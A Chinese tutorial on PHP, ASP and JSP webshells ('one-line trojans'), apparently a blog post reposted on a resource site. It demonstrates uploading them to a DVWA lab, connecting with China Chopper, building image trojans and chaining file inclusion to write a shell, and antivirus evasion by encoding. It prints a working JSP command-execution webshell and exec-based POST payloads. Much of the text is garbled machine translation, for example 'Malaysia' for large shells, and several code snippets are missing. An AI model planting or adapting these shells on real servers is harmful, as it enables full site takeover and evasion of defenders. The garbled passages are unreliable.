php一句话木马-网络安全中的一句话木马_网络安全简介

2023-08-23 0 4,163 百度已收录

大家好,我是建筑先生,一个会写代码、会背诗的建筑师。 昨天,我一言以蔽之地讲了网络安全,木马_网络安全入门php一句话木马,希望能够帮助你进步!!!

概述

在很多渗透过程中,渗透者都会将一句话木马(简称Webshel​​l)上传到当前Web服务目录,然后打包获取系统权限,无论asp、php、jsp、aspx。 这个一句话特洛伊木马是什么? ?

我们来看一个最简单的一句话木马:

   

复制

只听见建筑师办公室里传出建筑师的声音:松针如酒,多少春酿。 有谁能回答第二行或上面一行吗?

【基本原理】利用文件上传漏洞将一句话木马上传到目标网站,然后可以通过中文菜刀chopper.exe在本地获取并控制整个网站目录。 @表示虽然前面执行了执行错误,但是没有报错。 eval()函数表示将括号中的所有句子字符串作为代码执行。 $_POST['attack'] 表示从页面获取attack的参数值。

入侵条件

其中,攻击者只要满足三个条件,即可实现入侵成功:

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

复制

一般的方法

常见的一句话木马:

php的一句话木马: 
asp的一句话是:   
aspx的一句话是:   

复制

我们可以直接将这句话插入到网站的asp/aspx/php文件中,或者直接新建一个文件,在上面写入这句话,然后将文件上传到网站。

基本的

首先我们看一个原始简单的php一句话木马

   

复制

听到这里,我不得不赞叹师父的智慧。 对于一个稍微懂一点php的人,或者是中级安全爱好者,或者是脚本小子来说,首先听到的就是密码是cmd,通过post提交数据,以及如何执行,但是不清楚。 如你所知,我们来分析一下句子是如何执行的。

这些话是什么意思?

(1)上面要写php代码,服务器能够识别出是php代码,然后进行解析。 (2)@符号表示不报错,即使执行出错也不会报错。

php一句话木马-网络安全中的一句话木马_网络安全简介

为什么? 由于没有定义变量,所以使用了它,服务器善意地提醒:注意,你的xxx变量没有定义。 这样不会暴露密码吗? 所以我们添加@。

(3)为什么密码是cmd?

那么我们就要明白这句话的意思。 php 上的几个超全局变量:_GET、_POST 就是其中之一。

注意:传输数据有两种方式,get、post,post是将数据存储在消息体中,get是将数据存储在消息头的url路径中(如xxx.php?a=2)

(4)如何理解eval()函数?

eval() 将字符串作为 PHP 代码执行。

例如: eval("echo'a'"); 虽然相当于直接echo'a'; 我们先看一下,以post的形式接收变量pw,例如:pw=echo'a'; 这时候代码就变成了。 结果如下:

连接的意思是:以post方式接收变量pw,并将变量pw上面的字符串作为php代码执行。 所以你也可以这样玩:即你要执行哪些代码,将代码放入变量pw中,用post向木马传输一句话。 如果你想检查目标硬盘中是否有色情电影,可以使用php函数:opendir()和readdir()等。如果你想上传一些色情内容并诬告网站所有者,可以使用php 函数:move_uploaded_file. 其实相应的html应该写得很好。 如果要执行cmd命令,请使用exec()。

其实前提是:在php配置文件php.ini中,关闭安全模式safe_mode=off,然后查看禁用函数列表disable_functions=proc_open、popen、exec、system、shell_exec,去掉exec,确保没有exec(一些cms为了方便处理个别功能,将被删除)。

我们来看看效果,POST代码如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo '
';
  print_r($out);
  echo '

';

复制

这里我们可以看到系统直接执行了系统命令。 SO,你现在应该明白为什么要说这么简短的一句话了吧!

特洛伊木马

我们来看看如何通过DVWA的文件上传漏洞来利用一句话木马。 关于文件上传漏洞,请阅读以下文章:文件上传漏洞。

中国砍刀

【实验方案】首先将一句话木马文件Hack.php保存到本地(桌面)(可以用记事本编辑后更改文件后缀):

  

复制

拿出来,步入DVWA平台::8088/DVWA/index.php,打算开始实验。

php一句话木马-网络安全中的一句话木马_网络安全简介

在低安全级别下,查看后台源码:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) { 
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
   
        // No
        echo '
Your image was not uploaded.

';}else{//是的!回声"

{ 
     $target_path} succesfully uploaded!

“;}}?>

复制

从源码中发现,底层并没有对上传的文件进行任何验证。 这样就可以直接上传PHP或者ASP一句话木马了,本例使用的是php。

(1)我们直接上传规划好的一句话木马,然后就可以看到回显的路径:

(2)然后就可以使用斧头来连接,在砍刀界面上右键,然后点击添加。 然后填写相关数据,如右图:

“中国砍刀”页面操作说明:

1、是连接的URL,是网站的主路径加上上传文件时回显的保存路径; 2、是斧头连接时的密码,就是上图中一句话提交的数据(本例为“pass”); 3.是句子的分析类型,可以是asp、php、aspx。 不同的分析类型在一句话中具有不同的内容和文件扩展名。

(3) 之后就可以看到连接成功的界面:

(4)然后双击或右键单击“文件管理”,进入如下界面:

我们看到了整个网站的结构和文件,甚至暴露了我笔记本电脑的整个C盘存储! ! 任何非法增删改查都可以! ! 网站(主机)已经崩溃了......

图片木马

木马如何上传成功? 一般防御者会过滤类型、大小等。 另外,如果规定是上传的图片,则会采集该图片。 尽管攻击者改变了文件类型,但仍然无法通过图片集。 所以这就需要一张图片来进行保护。 变成隐藏在图片下面的特洛伊木马。 linux和windows都有相应的命令,这样就可以将一个文件合并到另一个文件的前面,从而达到隐藏的目的。

里面进行DVWA实验,安全级别高,先继续查源码:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) { 
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) { 
   
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
   
            // No
            echo '
Your image was not uploaded.

php一句话木马-网络安全中的一句话木马_网络安全简介

';}else{//是的!回声"

{ 
     $target_path} succesfully uploaded!

";}}else{//文件回显无效'

Your image was not uploaded. We can only accept JPEG or PNG images.

';}}?>

复制

可以看到,High级别的代码读取的是最后一个“.”之后的字符串。 在文件名中,并且期望通过文件名限制文件类型,因此上传文件名必须是“*.jpg”、“.jpeg”、“*.png”其中之一。 同时getimagesize()函数限制上传文件的文件头为图片类型。

我们需要将上传文件的文件头伪装成图片。 首先,使用复制命令将一句话木马文件Hack.php与普通图片​​文件ClearSky.jpg合并:

【备注】以下是在CMD下使用复制命令制作“图片木马”的步骤,其中ClearSky.jpg/b中的“b”表示“二补码文件”,hack.php中的“a” /a 表示 ASCII 码文件。

生成带有木马的图片文件hack.jpg:

然后我们打开生成的图片木马文件,我们可以看到图片文件的末尾已经附加了一句话木马:

之后我们尝试上传生成的木马镜像文件hack.jpg,上传成功! ! !

获取图片木马:

拿出来,上菜刀! ! ! ! ! ! ! ! ! ! !

但由于是图片木马,无法解析PHP脚本,砍刀连接木马失败:

既然图片木马也很难解析,那我们该怎么办呢? 高级程序只允许上传图片...别慌,这里结合DVWA靶场自带的文件就可以成功上传PHP木马并连接到菜刀上。

首先通过上述方法新建一个图片木马,并将图片文件前面的PHP脚本修改为:

<?php fputs(fopen('muma.php','w'),''); ?>

复制

然后新建一个图片木马,如右图所示:

然后上传到DVWA,然后利用该文件包含漏洞模块来访问木马文件:

访问地址如下::8088/DVWA/vulnerability/fi/?page=file:///C:SoftWarePhpStudy2016WWWDVWAhackableuploadshacker.jpg,如右图:

此时,在DVWA文件包含漏洞的路径下,手动生成PHP单字木马脚本文件muma.php,如右图所示:

此时再次连接菜刀,即可连接成功:

至此,我们已经成功结合文件包含漏洞php一句话木马,在只能上传图片的文件上传功能上上传了图片木马,并生成了句子木马。 最后附上一篇博文,介绍了图片木马+解析漏洞的利用方式:PHP图片木马。

木马加壳程序

即使木马能够正常运行,过一段时间后会不会被管理员杀掉呢? 如何包装? 事实上,该木马上传成功,只要管理员防毒,全部可以查杀。 而且,会很明显,这是侧门。 因此,作为攻击者,你必须了解各种加壳方法。 后卫的防守非常简单。 每当山顶有新的包装方式被曝光时,安全人员就会立即将这个东西放入黑名单,让这些包装方式失效。 因此,攻击者必须不断创新,发明新的加壳方法。

【如何避免杀戮】:

1. 重新编码源代码。

2、将那句话中的木马进行Base64编码,存入“乱七八糟”的代码中,看图即可:

3、依然是一句话木马,进行了改造,不过这次的改造是链表中的通配符对改造。 非常强壮。

php一句话木马-网络安全中的一句话木马_网络安全简介

不得不说,打包的想法越脏越好。 研究看起来很有趣。 等渗透熟练之后,我会研究PHP代码的各种加壳方式。 这很有趣,但这个想法很肮脏。

小马和大马

小马和大马都是网页类型中的一种侧门,用于控制网站的权限。 主要区别在于小马是用来上传到大马的。 通过Pony上传到马来西亚,这时候就有一个疑问,其实也不是多余的,为什么要用Pony上传到马来西亚,为什么不直接上传到马来西亚使用呢。 虽然有小马体积较小,比大马有更强的隐蔽性优势,但是在文件大小的上传限制上存在漏洞,所以就有了小马,小马一般用作一个备用的侧门。

网络小马

Pony的体积很小,只有2KB,而且它的隐蔽性也很好。 因为Pony的功能很简单,就是一个上传功能,没有其他的了。 它的功能只是用来上传文件,所以它还可以进行一些安全扫描。 Pony是为了方便上传到马来西亚。 由于漏洞较多,有上传限制,马来西亚无法上传,所以我们只能先上传到Pony,然后再通过Pony上传到马来西亚。 小马还可以通过 IIS 漏洞以及图像合成来运行。

我们在Java语言编译后台使用JSP木马,与上面的一句话木马不同。 砍刀里的JSP木马比较长。 下面是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){ 
   
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){ 
   
            out.println(new String(b));
        }
        out.print("

“);}%>

复制

上传成功后若能解析,请求:服务器IP:port/Shell/cmd.jsp?pwd=123&i=ipconfig执行命令。

马来西亚网

Dama的体积比较大,一般在50K左右,比小马大很多倍,但是相应的功能也非常强大,包括数据管理、命令操作、数据库管理、解压、打包等功能都非常强大。 这些马来西亚网站一旦种下,网站基本上就在这个马来西亚人的控制之下了。 马来西亚的隐蔽性不好,因为涉及很多敏感代码,安全程序很容易被扫描到。

中国砍刀一句不算,砍刀一句通过客户端操作也很强大,一句代码可以和马来西亚实现的一样。 我们这里所说的小马、大马指的是网页类型。 小马是用来配合上传大马的。 这是它的主要功能。 另外,小马还可以作为备用侧门。 通常大马很容易被发现,而小马更容易隐藏在系统文件夹中。

我们看一下使用Malaysia的例子:将PHP Malaysia上传到虚拟机中的DVWA(源码附在最后):

访问木马文件123.php,提交密码123456,进入马来西亚的功能列表。 文件管理功能如右图所示:

继续访问命令执行功能(其他功能未展示):

最后附上PHP马来西亚的代码(代码太长,链接百度网盘):提取码:56pd。 另外,提供了JSP Malaysia的参考地址:。

网页外壳

Webshel​​l是一种以asp、php、jsp或cgi等网页形式存在的命令执行环境,也可以称为网页侧门。 黑客入侵网站后,通常会将asp或php侧门文件与网站服务器WEB目录下的正常网页文件混合在一起,然后可以使用浏览器访问asp或php侧门来获取命令执行环境来达到控制网站服务器的目的。

根据脚本,webshel​​l可分为PHP脚本木马、ASP脚本木马以及基于.NET的脚本木马和JSP脚本木马。 在美国,也有用python脚本语言编写的动态网页,实际上还有与之相关的webshel​​l。 根据功能,webshel​​l也分为大木马、小木马和一句话木马。 例如,一般将这句话写到一个文件中,然后将文件名改为xx.asp。 然后将其传递给服务器。 使用eval方法将request("pass")转换为代码执行,而request函数的作用就是申请外部文件。 这相当于一句话木马的客户端配置。 具体分类如右图:

明天的文章到此结束。 感谢您的阅读。 Java架构师必读。 祝你升职加薪,年年好运。

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php一句话木马-网络安全中的一句话木马_网络安全简介 https://www.wkzy.net/game/146914.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务